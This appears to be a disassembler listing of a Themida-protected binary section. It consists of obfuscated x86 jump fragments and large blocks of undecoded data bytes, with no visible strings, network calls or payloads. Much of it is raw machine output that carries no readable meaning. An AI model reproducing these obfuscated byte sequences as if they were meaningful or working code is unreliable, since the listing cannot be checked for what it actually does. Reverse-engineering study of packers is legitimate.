		dd 74FF243Ch, 34FF0424h, 243C8B24h, 4C481h, 89560000h
		dd 4C681E6h, 83000000h,	0B1E904C6h, 8B000073h, 89E92424h
		dd 0BAFFFFB1h, 4, 4244481h, 271E780Bh, 4245401h, 4246C81h
		dd 271E780Bh, 8124148Bh, 4C4h, 0C7815F00h, 4, 8904EC83h
		dd 0E951242Ch, 6073h
; ---------------------------------------------------------------------------

loc_54AC40:				; CODE XREF: Themida_:0054D331j
		neg	dword ptr [esp]
		pop	ebx
		jmp	loc_547E14
; ---------------------------------------------------------------------------
		db 0E9h, 46h, 0B1h
		dd 0E959FFFFh, 0FFFFD183h, 0E904C483h, 0BD9h, 8904EC83h
		dd 0E954241Ch, 0FFFFCB22h, 55D5855h, 41700283h,	340FE9h
		dd 68515E00h, 2A6Fh, 59243C89h,	0FFEC75E9h, 0C8B66FFh
		dd 581BE924h, 0C1890000h, 8324048Bh, 0F90104C4h, 0B21E9h
		db 0
; ---------------------------------------------------------------------------

loc_54AC9D:				; CODE XREF: Themida_:0054F8F6j
		xor	edx, ebp
		dec	ebp
		xchg	ebp, edx
		jmp	loc_546D7E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 0BA525300h, 0A246933h,	713DE9h, 212CAC00h, 0B252442Ch
		dd 80DAF601h, 6DE9C2F2h, 89FFFFF4h, 0E6892434h,	4C681h
		dd 0C1E90000h, 0BDFFFFD4h, 4815722h, 4246C01h, 5846E95Dh
		dd 0B9510000h, 1EAA3284h, 194DE981h, 0F18133A2h, 0D9FA21A2h
		dd 43E7E9h
		db 0
; ---------------------------------------------------------------------------

loc_54AD01:				; CODE XREF: Themida_:0054994Fj
		pop	eax
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		jmp	loc_54701B
; ---------------------------------------------------------------------------
		dd 0FF240489h, 0FF042474h, 79E92434h, 6600001Eh, 6824048Bh
		dd 11A5h, 68240C89h, 3B5Ch, 4EC81h, 24890000h, 0BD555124h
		dd 2FB14447h, 0B1444BB9h, 5DE9292Fh, 4244C01h, 24048F59h
		dd 4240481h, 59000000h,	4C181h,	0BD550000h, 2, 0F94E981h
		dd 0E90150AAh, 0F94C181h, 515D50AAh, 5B10E9h, 5DE80100h
		dd 0FC7E9h, 0BAE38100h,	5232D422h, 1022BEBAh, 2F01E902h
		dd 3C870000h, 0D5E5E924h, 0E289FFFFh, 49A8BE56h, 0CE8140A7h
		dd 7FDF7262h, 0FFBB4FE9h, 0C8B70FFFh, 4E8D68h, 240C8900h
		dd 0FFAFD3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54ADC1:				; CODE XREF: Themida_:00549B42j
		pop	esi
		or	eax, eax
		jz	loc_54DB70
		push	edx
		mov	edx, 68575587h
		and	edx, 7C851682h
		jmp	loc_54605C
; ---------------------------------------------------------------------------
		db 81h
		dd 3C17DCEEh, 5EF13116h, 12ADF181h, 0CB2941A1h,	55C30159h
		dd 8727AEBDh, 4E5C172h,	3128C581h, 0EDD15693h, 0B3D6ED81h
		dd 20E9385Ah, 5B000065h, 0FFE811E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54AE11:				; CODE XREF: Themida_:0054C2D2j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	ecx, al
		push	616h
		jmp	loc_54F86B
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 0E9000000h, 0FFFFDC4Dh
; ---------------------------------------------------------------------------

loc_54AE38:				; CODE XREF: Themida_:00549F17j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_54E8AF
; ---------------------------------------------------------------------------
aQssf		db 'Qé™f',0
		align 10h

loc_54AE50:				; CODE XREF: Themida_:00547CC0j
		sub	edx, 0F79E79D2h
		jmp	loc_547C7C
; ---------------------------------------------------------------------------
		db 66h
		dd 5724048Bh, 0C781E789h, 4, 8BE95156h,	66000037h, 0E9240C8Bh
		dd 0FFFFF0B6h, 530E6857h, 3C8B4613h, 2856E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AE86:				; CODE XREF: Themida_:005503EEj
		sub	edx, ebx
		pop	ebx
		mov	ecx, edx
		pop	edx
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3600F1Ch
		add	edi, 44A818B9h
		sub	edi, 5B423FDAh
		push	eax
		mov	eax, 1
		jmp	loc_54693F
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FFB9DAE9h, 5DEF01FFh, 0E9243C87h, 59ADh
; ---------------------------------------------------------------------------

loc_54AECC:				; CODE XREF: Themida_:00548975j
		pop	esp
		push	1A97h
		jmp	loc_54BEB6
; ---------------------------------------------------------------------------
aL4Ritsca	db '‹4$R‰âéCA',0
		align 2

loc_54AEE2:				; CODE XREF: Themida_:00547945j
		xor	ebx, 0EE8FEF12h
		add	eax, ebx
		jmp	loc_5490C9
; ---------------------------------------------------------------------------
		db 58h
		dd 405h, 52736800h, 1C890000h, 63685524h, 5D20350Dh, 0F29FC581h
		dd 0EB89DFCAh, 2CE9565Dh, 8100000Dh, 7A5775C6h,	44CE8130h
		dd 4E22936Dh, 0CAEBF57h, 48E91409h, 68000049h, 83Ch, 0FFF19FE9h
		dd 82F581FFh, 1727C07h,	4B62E9EFh, 0BF570000h, 3D683851h
		dd 0FFF123E9h, 2434FFFFh, 4EC8358h, 89241C89h, 4C381E3h
		dd 51000000h, 1E46E9h, 2C28100h, 87000000h, 0F65C2414h
		dd 0B60F66F9h, 0B86866CCh, 0C89660Ah, 0E605E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AF82:				; CODE XREF: Themida_:00550F38j
		sub	ch, al
		add	ch, 14h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_551772
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 44AAh, 582434FFh, 5504C483h, 0C5815D54h
		dd 4, 6C8868h, 241C8900h, 4BBh,	8BDD0100h, 2F68241Ch, 0E9000050h
		dd 52BFh, 0C4350F05h, 71B7E943h, 53510000h, 212E9h, 5AC62D00h
		dd 52054EEDh, 111191Dh,	1D522DF0h, 0C6051119h, 0E94EED5Ah
		dd 340Bh, 20BCC281h, 0E9594FCDh, 66A2h
; ---------------------------------------------------------------------------

loc_54B004:				; CODE XREF: Themida_:0054BED3j
		add	esi, 5CEC664Bh
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	7FDDh
		jmp	loc_546207
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0E99CC885h, 0FFFFAD68h, 41C045Ah, 2CD82895h,	0B7536695h
		dd 66F8281Ch, 162CE95Bh, 2C870000h, 89665C24h, 73E9241Ch
		dd 8000000Ah, 0E388DEECh, 0FFBA32E9h, 240483FFh, 0C2815A04h
		dd 4, 4EC81h, 2C890000h, 6AADBD24h, 0E5816BDDh,	0F733849h
		dd 6DEBBB53h, 7FE97844h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B083:				; CODE XREF: Themida_:0054701Cj
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	40C6h
		mov	[esp], ebx
		push	56D0h
		mov	[esp], ebp
		mov	ebp, 476502A6h
		push	ebp
		mov	ebp, 1FCD39FFh
		add	ebp, 278C518Eh
		push	edx
		mov	edx, 0A1D6DC3h
		and	ebp, edx
		pop	edx
		add	ebp, 179A328Bh
		push	ebp
		jmp	loc_54EBAA
; ---------------------------------------------------------------------------

loc_54B0CA:				; CODE XREF: Themida_:0054A0A4j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 6D436DB3h
		xor	edi, 6D436DB7h
		add	ebp, edi
		jmp	loc_54A267
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FFC645E9h, 0F5095FFFh, 0E7BB535Eh, 8111B643h, 551FEEC3h
		dd 5BDD3160h, 815DEF31h, 0AAD8D7EFh, 0E9FD8991h, 668Eh
		dd 80B95145h, 0C13FFE51h, 0D1F703E1h, 5E5AE9h, 11B300h
		dd 2434FFD8h, 1140E9h, 4896600h, 0AC5AE924h, 248BFFFFh
		dd 243C8924h, 3A342C68h, 0F8315F06h, 56243C8Bh,	0C681E689h
		dd 4, 4C681h, 34870000h, 0EC815C24h, 4,	68243489h, 7E46284Bh
		dd 0FFF1B0E9h, 2474FFFFh, 2434FF04h, 0E9240C8Bh, 0FFFFB7A8h
		dd 875DE901h, 248B240Ch, 3DC6E924h, 0E9550000h,	0FFFFEC31h
		dd 215EF331h, 0C5815BDDh, 0F5AFE001h, 3B92EA81h, 0EA01403Bh
		dd 3B92C281h, 2C8B403Bh, 0E3895324h, 4C381h, 0D0E90000h
		dd 0BAFFFFCCh, 6A0F2CFDh, 0FFB688E9h, 242C8BFFh, 0FFC8C7E9h
		dd 6DB850FFh, 31EB452Dh, 37E958C7h, 0F7FFFFD6h,	5D2EE9DEh
		dd 68660000h, 0D9E901F0h, 0BB000018h, 662838BDh, 0F585C381h
		dd 0D989A160h, 5C6DE95Bh, 8F540000h, 6F682404h,	89000044h
		dd 0BB53240Ch, 4, 98E9D989h, 1000027h, 24148BD7h, 4C481h
		dd 0EF830000h, 243C8702h, 0FEFFE95Ch, 8956FFFFh, 4492E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B23A:				; CODE XREF: Themida_:0054FCFAj
		mov	edx, [esp]
		push	ecx
		jmp	loc_54E60F
; ---------------------------------------------------------------------------
		db 5Dh
		dd 9801F8B9h, 0E9BE902h, 68500000h, 546E2BDBh, 8324048Bh
		dd 250504C4h, 0E9AB91D4h, 5EDh,	5C243C33h, 24048B66h, 0E904EC83h
		dd 0FFFFE84Ch, 1C77095Dh, 0E92434FFh, 134Fh, 8704EF83h
		dd 895C243Ch, 0E589242Ch, 4C581h, 0EC810000h, 4, 0BE243489h
		dd 4, 348BF501h, 4C48324h, 8CAE955h, 53400000h,	0DBE744BBh
		dd 5BD831DEh, 1A7CE9h, 24048F00h, 46ACE9h, 0EF815E00h
		dd 2, 391AE9h, 4ED8100h, 33000000h, 2C31242Ch, 0C747E924h
		dd 0EE81FFFFh, 71A112EEh, 0FFEC1EE9h, 243433FFh, 2404895Ch
		dd 405E089h, 83000000h,	1BE904C0h, 66000021h, 81240C8Bh
		dd 4ECh, 24348900h, 0FFB580E9h,	0D1EB80FFh, 8324048Bh
		dd 0EB8004C4h, 80C30037h, 0C38037C3h, 24EB804Ah, 0E9C0B60Fh
		dd 0FFFFEFA9h, 24048B66h, 4DC0E957h, 0B8500000h, 7D620F64h
		dd 0FCEE4B2Dh, 58C5016Bh, 295DEB29h, 1CC381C3h,	8113CC47h
		dd 0D2253EC3h, 3512E933h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B362:				; CODE XREF: Themida_:005510BEj
		and	eax, 36694CE3h
		not	eax
		neg	eax
		push	esi
		mov	esi, 0CDC5BDFh
		add	esi, 10980262h
		not	esi
		inc	esi
		dec	esi
		sub	esi, 98F52D2Ch
		jmp	loc_54837C
; ---------------------------------------------------------------------------
		dw 0FB01h
		dd 241C875Fh, 6624248Bh
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5477BF
; ---------------------------------------------------------------------------
		db 59h
		dd 3F6E953h, 0BF570000h, 19671676h, 0DE70E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B3BA:				; CODE XREF: Themida_:0054D79Cj
		sub	ebp, 78DF6DC3h
		mov	esi, ebp
		pop	ebp
		add	ebp, 65564196h
		add	ebp, esi
		jmp	loc_5502EC
; ---------------------------------------------------------------------------
		dd 792FE581h, 0F5812A44h, 0C56B0Ch, 6C6CE9h, 0EEB8100h
		dd 813E8637h, 0F8297DEBh, 51C30121h, 3D086857h,	815F354Ch
		dd 0BF33C3C7h, 0DFF74F54h, 8ACCEF81h, 0F98931CAh, 3EF1815Fh
		dd 4143C45Ch, 4F52E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B415:				; CODE XREF: Themida_:0054D933j
		add	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_545D94
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FFDF04E9h, 240C87FFh, 0B029E95Ch, 0ECBDFFFFh
		dd 81587E0Fh, 0EB6580CDh, 4EDC166h, 8102E5C1h, 0ED7D0DC5h
		dd 5DEF2937h, 0C781D701h, 57AD5905h, 0FFBFEEE9h, 81D5F7FFh
		dd 0A5172C5h, 5DEF29E5h, 22ACE9h, 2DBE5600h, 0E94ED307h
		dd 69C0h, 243CD35Ch, 0B51CE99Ch, 48BFFFFh, 4C48324h, 8B242C87h
		dd 89662424h, 0C5B1240Ch, 8B66C800h, 0EC83240Ch, 240C8904h
		dd 6718E954h, 46680000h, 5D4FA250h, 0A74E9h, 24048900h
		dd 2468h, 2434FF00h, 4C48358h, 1AB1E9h,	0EE895600h, 0A1E9F289h
		dd 50000021h, 0FFBFD5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B4D9:				; CODE XREF: Themida_:0054BF4Bj
		xchg	eax, [esp]
		jmp	loc_545F7A
; ---------------------------------------------------------------------------
		db 1, 0D0h, 2Dh
		dd 464F2235h, 0A4DC005h, 20E95A1Eh, 81FFFFB9h, 4C5h, 16C5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B4FE:				; CODE XREF: Themida_:0054D7F6j
		pop	eax
		inc	eax
		xor	eax, 42D73F6h
		xor	ebp, eax
		mov	eax, [esp]
		jmp	loc_548D87
; ---------------------------------------------------------------------------
		db 29h
		dd 4AF705E8h, 505D1375h, 6093E9h, 2434FF00h, 55E9515Ah
		dd 52FFFFEAh, 42474FFh,	6ADBE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B532:				; CODE XREF: Themida_:0055122Aj
		push	edx
		push	35B1h
		mov	[esp], ebx
		mov	bl, 0B9h
		mov	dh, 7Ah
		sub	dh, bl
		pop	ebx
		push	781Ch
		mov	[esp], ebx
		mov	bh, dh
		mov	al, bh
		pop	ebx
		jmp	loc_550F32
; ---------------------------------------------------------------------------
		dd 5C240487h, 5E08950h,	4, 42Dh, 24048700h, 240C895Ch
		dd 0CCAAE950h, 875BFFFFh, 0BFE92404h, 80FFFFFBh, 1AE97FEBh
		dd 81000033h, 4C7h, 4EF8100h, 87000000h, 248B243Ch, 24148924h
		dd 4761E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B59E:				; CODE XREF: Themida_:005502A4j
		add	ebp, esi
		add	ebp, 70CB317Bh
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		imul	ecx
		push	598Ah
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5497E4
; ---------------------------------------------------------------------------
		dw 2C31h
		dd 242C3324h, 0FF242C31h, 835A2434h, 0EC8104C4h, 4, 0FF241489h
		dd 0FF042474h, 835A2434h, 48F04C4h, 0A7A6E924h,	0EB81FFFFh
		dd 1A6860C5h, 136AE9h, 2434FF00h, 0FFB3A6E9h, 48B66FFh
		dd 3F685224h, 89000029h, 4812424h, 424h, 0BB535A00h, 186017A5h
		dd 68DBF7h, 29000000h, 94E9241Ch, 8900003Ch, 0BB535FFAh
		dd 3A555E9Dh, 11FDCB81h, 0BD557738h, 1F7B3A9Ah,	4B5DEB21h
		dd 0FE1BE56h, 0A3E968F4h, 81000020h, 1B23B5F2h,	0FAE2813Bh
		dd 8142DD1Dh, 1EAh, 0A1F28100h,	140C81Ch, 0B445E9FAh, 0C228FFFFh
		dd 0FC2C5866h, 0FC04D000h, 4EC835Ah, 0E9241489h, 53Dh
		dd 0DE9515Eh, 59FFFFD2h, 0E9243C87h, 0FFFFC310h, 5C241C87h
		dd 89241C89h, 0BD5553FBh, 28310C8Eh, 4244481h, 4A9646CBh
		dd 556CE9h, 0A6DEE900h,	0BD55FFFFh, 285DF576h, 295DE829h
		dd 56FDE9C5h, 8F5B0000h, 248B2404h, 9AE95124h, 89000018h
		dd 7BCD68E0h, 34890000h, 0C84AE924h, 3C87FFFFh,	56FE924h
		dd 0EB010000h, 313C381h, 835D0579h, 1C3302EBh, 241C3124h
		dd 8B241C33h, 89662424h, 89E92404h, 5EFFFFA6h, 0FFA7F3E9h
		dd 48B66FFh, 480AE924h,	0EA810000h, 0E7A616Ah, 294EBF57h
		dd 0C78137BAh, 0C9A64D62h, 0E95FFA29h, 0FFFFA660h
; ---------------------------------------------------------------------------

loc_54B734:				; CODE XREF: Themida_:0054BEB9j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_54BA5B
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 2048E9h, 4C3BBE00h, 0E6C15930h, 14F75605h, 0EEC15E24h
		dd 10EE8103h, 81D1B0E3h, 50168EEEh, 81D62962h, 50168EC6h
		dd 0F0315A62h, 8324348Bh, 0D16804C4h, 89000077h, 0E389241Ch
		dd 63CE9h, 0F1885100h, 5A59CB88h, 0E950DBF6h, 29E4h, 5166BDB3h
		dd 0CB30F2B1h, 240C8B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5466BC
; ---------------------------------------------------------------------------
		dw 5152h
		dd 0C237CEB9h, 0F7D9F70Ch, 81E9D1D9h, 611BE7E9h, 59CA8906h
		dd 203CA01h, 0CF3E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B7DD:				; CODE XREF: Themida_:005466C9j
		sub	cl, 2Bh
		shl	cl, 2
		add	cl, 10h
		sub	al, cl
		jmp	loc_54683B
; ---------------------------------------------------------------------------
		dd offset dword_4FE844+324h
		align 2
		dw 489h
		dd 0EEBF5724h, 6851A57Ah, 0AE5A8513h, 482C2D58h, 37E9326Eh
		dd 83000023h, 59042404h, 3CA7E9h, 0C7C68100h, 16BA958h
		dd 0DE64E9FEh, 0C829FFFFh, 0DF19E959h, 5455FFFFh, 4EC835Dh
		dd 851E9h, 4C28100h, 0E9000000h, 20AAh,	24048F54h, 4240481h
		dd 5E000000h, 0FFC0F9E9h, 8BC389FFh, 89502404h,	405E0h
		dd 0E8830000h, 0E9B2E904h, 505AFFFFh, 53DA8852h, 0D888D388h
		dd 0C6885A5Bh, 5BA2E9h,	0C3815D00h, 21D90BA9h, 8C03C381h
		dd 0DE017965h, 51241C8Bh, 0C181E189h, 4, 3304C183h, 2BE9240Ch
		dd 66000031h, 6824048Bh, 365h, 89240489h, 405E0h, 68520000h
		dd 2, 0FFD0015Ah, 34FF2434h, 0C4835A24h, 6E95704h, 0B8000011h
		dd 23704624h, 2B605B0Dh, 4200052Eh, 0A02D1AB7h,	0E9606B10h
		dd 275Fh, 5C240C87h, 57241489h,	1B0F30BFh, 0ADB8E97Ah
		dd 68ACFFFFh, 1896h, 0E9241C89h, 0FFFFF821h, 8B2434FFh
		dd 8E682404h, 8900004Eh, 0ECE92434h, 68000011h,	3FAAh
		dd 51240489h, 5F18EF68h, 240C8B4Fh, 0B7DBE951h,	0D2F6FFFFh
		dd 0E90CB551h, 0FFFFC20Ch, 0BB241C89h, 2, 0FFA644E9h, 4C481FFh
		dd 68000000h, 71Dh, 50240C89h, 30E9E089h, 0B9000015h, 4EAAA90Eh
		dd 8159C829h, 811BDDC7h, 55C70119h, 44CFEBDh, 0DFC58145h
		dd 29D47CCEh, 242C8BEFh, 0FF04C483h, 83582434h,	0D0E904C4h
		dd 4EFFFFD6h, 4FA4EE81h, 75E94D53h, 1FFFFD7h, 138DE9EFh
		dd 0C4830000h, 0BE565104h, 31A91E5Bh, 0F3E9F189h, 0E9FFFFD4h
		dd 0FFFFA3E0h, 0F6F4B252h, 97F280DAh, 800DC280h, 0C28033E2h
		dd 5AD420F3h, 68h, 24242800h, 8324248Ah, 41E904C4h, 57FFFFACh
		dd 0C781E789h, 4, 8704C783h, 38E9243Ch
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B9EF:				; CODE XREF: Themida_:00546F6Bj
		pop	esp
		mov	[esp], ebp
		push	561F732Fh
		jmp	loc_545F97
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 3
		dd 8800002Fh, 0E9EE88FDh, 0FFFFA6A8h, 4BD55h, 0EB010000h
		dd 0DE9565Dh, 8300000Ch, 0F00207Fh, 5A3784h, 4EC8100h
		dd 89000000h, 0BA52242Ch, 2AB633F0h, 26E9DAF7h,	58FFFFF0h
		dd 2B951h, 0CD010000h, 242C3359h, 33242C31h, 248B242Ch
		dd 4316624h, 39E99C24h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BA5B:				; CODE XREF: Themida_:0054B74Cj
		mov	[esp], ebp
		jmp	loc_54D7B4
; ---------------------------------------------------------------------------
		db 66h
		dd 1F91E952h, 5580000h,	62F72EA4h, 0FFA31FE9h, 713B68FFh
		dd 0C1E90000h, 89000030h, 0E6BE2434h, 4E665707h, 7E1EE81h
		dd 0F7016657h, 1AE0E9h,	5AD78900h, 0D5F7EF87h, 0BB53EF87h
		dd 488E118Ch, 0E95BDF09h, 0FFFFF09Eh, 0E179E957h, 0C481FFFFh
		dd 2, 1C8BFD08h, 5367E924h, 0FEB30000h,	800EB551h, 0D5F6B4E5h
		dd 0FFECD8E9h, 0C48358FFh, 239BE904h, 505B0000h, 69C66855h
		dd 815D3FA0h, 5F963EC5h, 8BE889C0h, 0C481242Ch,	4, 8758C529h
		dd 0E95C242Ch, 502Fh
; ---------------------------------------------------------------------------

loc_54BB00:				; CODE XREF: Themida_:0054FF33j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	ecx, 0D797AE7h
		push	1
		push	dword ptr [esp]
		jmp	loc_54DA94
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 2DD5h, 0E580CDFEh, 42C580CDh, 0FFAB85E9h
		dd 0C0C681FFh, 5A279F32h, 56D2E9h, 4335D00h, 0EEE9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BB66:				; CODE XREF: Themida_:0054C101j
		shl	ebx, 6
		sub	ebx, 293EBA85h
		sub	ecx, ebx
		pop	ebx
		push	ebx
		jmp	loc_54FD5F
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Dh,	0E924248Bh, 0FFFFCD83h,	4A4EF181h
		dd 0D9F76E85h, 2C15F181h, 0CE89E4EAh, 5DEE2959h, 348BF501h
		dd 4C48324h, 2BB53h, 0C5810000h, 15B2046h, 0ED81DD01h
		dd 15B2046h, 242C335Bh,	0FFB48FE9h, 0B35350FFh,	0E9DBF6AEh
		dd 0BFh
; ---------------------------------------------------------------------------

loc_54BBCC:				; CODE XREF: Themida_:005506A9j
		mov	eax, 0FFFFFFFFh
		add	ecx, eax
		pop	eax
		push	esi
		mov	esi, 4F6E4549h
		inc	esi
		jmp	loc_5493F4
; ---------------------------------------------------------------------------
		dd 6858C201h, 7C6Ah, 0FF241489h, 8B042474h, 0C4832414h
		dd 550BE904h, 0C7810000h, 1079640Dh, 2276C781h,	0EF015BD9h
		dd 2276EF81h, 0BA525BD9h, 4A2C3A40h, 59A8F281h,	6CE90F31h
		dd 83000058h, 9EE904ECh, 31FFFFC0h, 0F4E92414h,	0BAFFFFCEh
		dd 21170A82h, 4425F281h, 65E93A85h, 0BE00004Dh,	12897330h
		dd 348BF001h, 4C48124h,	2D000000h, 6C2E2764h, 5ECAE9h
		dd 54515C00h, 4C18159h,	0E9000000h, 2220h, 762097B8h, 0A2ADE96Bh
		dd 0DE87FFFFh, 5840E9h,	24248900h, 4BD55h, 6C010000h, 0B3E90424h
		dd 80000031h, 0EB8002E3h, 49E38057h, 662AF380h,	0B2E95152h
		dd 0C100000Eh, 80E906E8h, 87000049h, 76E92434h,	8FFFFFE5h
		dd 4812404h, 424h, 78E95E00h, 0ACFFFFA5h, 4EC81h, 0C890000h
		dd 6664B524h, 0E998B252h, 0FFFFED1Eh, 240C8B66h, 4EC8157h
		dd 0E9000000h, 0FFFFB662h, 0E900E9C1h, 2A46h
; ---------------------------------------------------------------------------

loc_54BCEC:				; CODE XREF: Themida_:00548958j
		mov	dx, [esp]
		push	eax
		jmp	loc_54DC47
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 7976CB0h, 0B5BE564Bh, 946FD7Dh, 0E3C15EF3h, 31EB8104h
		dd 152EBF2h, 78055BD9h,	29781D6Ch, 6C782DC8h, 559781Dh
		dd 65614493h, 5F2434FFh, 81E78957h, 4C7h, 4C78300h, 0C084E957h
		dd 0E8C1FFFFh, 5D0F708h, 461EFF4Ch, 0E958C129h,	0FFFFEF29h
		dd 31240433h, 4332404h,	0E1E95C24h, 100004Ch, 0C2E981E9h
		dd 0E9104A6Eh, 0FFFFF461h, 14ED6852h, 815A02B0h, 5754FFF2h
		dd 0B8505350h, 0D86D41h, 0D404E948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BD82:				; CODE XREF: Themida_:0054C0B6j
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		idiv	ecx
		push	246Dh
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_54CB65
; ---------------------------------------------------------------------------
		dw 68ADh
		dd 2E16h, 0E9243C89h, 0FFFFC76Ch, 0E9028F66h, 0FFFF9FDCh
; ---------------------------------------------------------------------------

loc_54BDB8:				; CODE XREF: Themida_:00546D62j
		mov	ecx, 0CCD6498h
		dec	ecx
		inc	ecx
		add	ecx, 61BB499Fh
		jmp	loc_54CCB0
; ---------------------------------------------------------------------------
		dw 0DDF6h
		dd 0FFC47DE9h, 4C381FFh, 83000000h, 1C8704EBh, 24248B24h
		dd 89240489h, 405E0h, 0BB530000h, 4, 7BE9D829h,	59FFFFF7h
		dd 3066E959h, 74FF0000h, 3DE90424h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BE07:				; CODE XREF: Themida_:0054F3D4j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54C508
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0DAh
		dd 0C1153472h, 0AF2D06E0h, 2936C637h, 727E9C7h,	0EA810000h
		dd 3F1B2F42h, 27E9EA81h, 59E9680Ch, 33FFFF9Fh, 14312414h
		dd 24143324h, 48B665Ch,	0EC835124h, 24248904h, 4240483h
		dd 94BD5559h, 4D15042Ah, 667C68h, 241C8900h, 3677B3BBh
		dd 8E3C153h, 0E902E3C1h, 0FFFFA561h, 653E68h, 24148900h
		dd 0C281E289h, 4, 4EA81h, 14870000h, 14895C24h,	4BA24h
		dd 0C6810000h, 0DE247ECh, 0EE81D601h, 0DE247ECh, 2B8505Ah
		dd 0E9000000h, 0FFFFE210h, 0CFC4E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BEB6:				; CODE XREF: Themida_:0054AED2j
		mov	[esp], edi
		jmp	loc_54B734
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 8DE90000h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BECB:				; CODE XREF: Themida_:00550F6Ej
		add	esi, ecx
		add	esi, 21D51053h
		jmp	loc_54B004
; ---------------------------------------------------------------------------
		dd 24048B66h, 8904EC83h, 0E789243Ch, 4C781h, 68500000h
		dd 2, 0E92434FFh, 0FFFFC16Ah, 16BA525Ah, 0E9661C58h, 27B8h
; ---------------------------------------------------------------------------

loc_54BF04:				; CODE XREF: Themida_:0054F46Cj
		add	edx, 5564152Eh
		not	edx
		xor	edx, 3E5E74B7h
		add	edx, 1C7A22DDh
		shr	edx, 2
		push	edi
		mov	edi, 0B340B848h
		xor	edx, edi
		pop	edi
		jmp	loc_547724
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 57h
		dd 5DAFBEBFh, 5FFD31B0h, 46FEF81h, 0C7815DABh, 69D37487h
		dd 87E9EF29h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BF47:				; CODE XREF: Themida_:0054A58Cj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54B4D9
; ---------------------------------------------------------------------------

loc_54BF50:				; CODE XREF: Themida_:005500D9j
		push	ebx
		jmp	loc_5473E5
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 240C8B24h, 5104C483h, 5098E9h, 7E0C100h, 5F260405h
		dd 58C18902h, 3B29122Dh, 5C8297Ch, 7C3B2912h, 608E9h, 68CB0100h
		dd 697Dh, 0E9240C89h, 4D46h, 5C243487h,	0B198E953h, 0C681FFFFh
		dd 7DD15644h, 4A68FE01h, 89000078h, 8AE92414h, 80FFFFB0h
		dd 0E8308FC5h, 7B65259h, 0C026EE80h, 0C68006EEh, 0BBF7E965h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BFC6:				; CODE XREF: Themida_:00551BDEj
		mov	[edi+eax*4+1], bl
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_545D94
; ---------------------------------------------------------------------------

loc_54BFD6:				; CODE XREF: Themida_:0054F078j
		push	esi
		pop	edi
